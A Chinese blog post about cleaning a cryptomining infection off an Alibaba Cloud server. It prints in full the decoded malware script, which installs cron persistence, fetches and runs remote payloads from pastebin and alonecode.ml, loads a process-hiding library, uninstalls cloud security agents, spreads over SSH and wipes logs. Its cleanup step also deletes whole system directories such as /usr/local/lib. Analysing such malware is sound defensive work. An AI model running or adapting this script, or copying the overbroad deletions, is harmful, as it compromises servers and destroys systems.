阿里云服务器cpu 100% 问题处理

阿里云服务器CPU 100%，但使用top命令查看却找不到相关进程。

执行crontab -l 查看，发现多了一条定时任务 

*/23 * * * * (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh

手动执行curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd 发现是一堆乱码，通过base64解码后内容如下

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep sysinfo|wc -l)
if [ ${p} -eq 0 ];then
	ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}

function d() {
	ARCH=$(uname -i)
	if [ "$ARCH" == "x86_64" ]; then
	    mkdir -p /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy
		chmod 1777 /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy
		(curl -fsSL --connect-timeout 120 http://alonecode.ml/linux/sysinfo -o /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo||wget http://alonecode.ml/linux/sysinfo -O /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo) && chmod +x /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo
		nohup /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo >/dev/null 2>1 &
	else
		mkdir -p /var/tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy
		chmod 1777 /var/tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy
		(curl -fsSL --connect-timeout 120 http://alonecode.ml/linux/sysinfo -o /var/tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo||wget http://alonecode.ml/linux/sysinfo -O /var/tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo) && chmod +x /var/tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo
		nohup /var/tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy/sysinfo >/dev/null 2>1 &
	fi
}

function e() {
	nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3hUV3B5MmcxJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
	touch /tmp/.38t9guft0055d0565u444gtjr0
}

function c() {
	chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/cBjiacdv -o /usr/local/bin/dns||wget https://pastebin.com/raw/cBjiacdv -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
	echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
	echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
	echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
	echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
	mkdir -p /var/spool/cron/crontabs
	echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
	mkdir -p /etc/cron.hourly
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/qbbSdzZd -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/qbbSdzZd -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
	mkdir -p /etc/cron.daily
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/qbbSdzZd -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/qbbSdzZd -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
	mkdir -p /etc/cron.monthly
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/qbbSdzZd -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/qbbSdzZd -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
	mkdir -p /usr/local/lib/
	if [ ! -f "/usr/local/lib/libdns.so" ]; then
		curl -fsSL --connect-timeout 120 http://alonecode.ml/libprocesshider.so -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so && touch -acmr /bin/sh /usr/local/lib/libdns.so && chattr +i /usr/local/lib/libdns.so
	        if [ ! -f "/usr/local/lib/libdns.so" ]; then
	            wget http://alonecode.ml/libprocesshider.so -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so && touch -acmr /bin/sh /usr/local/lib/libdns.so && chattr +i /usr/local/lib/libdns.so
	        fi
	fi
	echo /usr/local/lib/libdns.so > /etc/ld.so.preload
	touch -acmr /bin/sh /etc/ld.so.preload
	touch -acmr /bin/sh /usr/local/lib/libdns.so
	chattr -i /etc/ld.so.preload && echo /usr/local/lib/libdns.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
	if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  		for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh' & done
	fi
	touch -acmr /bin/sh /etc/cron.hourly/oanacroner
	touch -acmr /bin/sh /etc/cron.daily/oanacroner
	touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

function a() {      #卸载安全程序
	if ps aux | grep -i '[a]liyun'; then
		wget http://update.aegis.aliyun.com/download/uninstall.sh
		chmod +x uninstall.sh
		./uninstall.sh
		wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
		chmod +x quartz_uninstall.sh
		./quartz_uninstall.sh
		rm -f uninstall.sh 	quartz_uninstall.sh
		pkill aliyun-service
		rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
		rm -rf /usr/local/aegis*;
	elif ps aux | grep -i '[y]unjing'; then
		/usr/local/qcloud/stargate/admin/uninstall.sh
		/usr/local/qcloud/YunJing/uninst.sh
		/usr/local/qcloud/monitor/barad/admin/uninstall.sh
	fi
	touch /tmp/.a
}

mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f "/tmp/.a" ]; then
	a
fi
b
c
port=$(netstat -an | grep :3333 | wc -l)
if [ ${port} -eq 0 ];then
	d
fi
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
	e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

应该是一个挖矿脚本，根据function c 中的操作执行如下命令清理病毒

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload /usr/local/lib/libdns.so
rm -rf /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload /etc/cron.hourly /etc/cron.daily /etc/cron.monthly /usr/local/lib 
rm -rf /tmp/.38t9guft0055d0565u444gtjr0
rm -rf /tmp/.a
rm -rf /tmp/systemd-private-2270f1520zse4c8a94a91c107d5b9d1b-cups.service-sjwnOy
rm -rf /tmp/crontab.IjYCeD  /tmp/crontab.JJTGGh
killall sysinfo
killall python

执行之后cpu状态恢复正常。

恢复阿里云安全程序

wget http://update.aegis.aliyun.com/download/install.sh

chmod 755 install

./install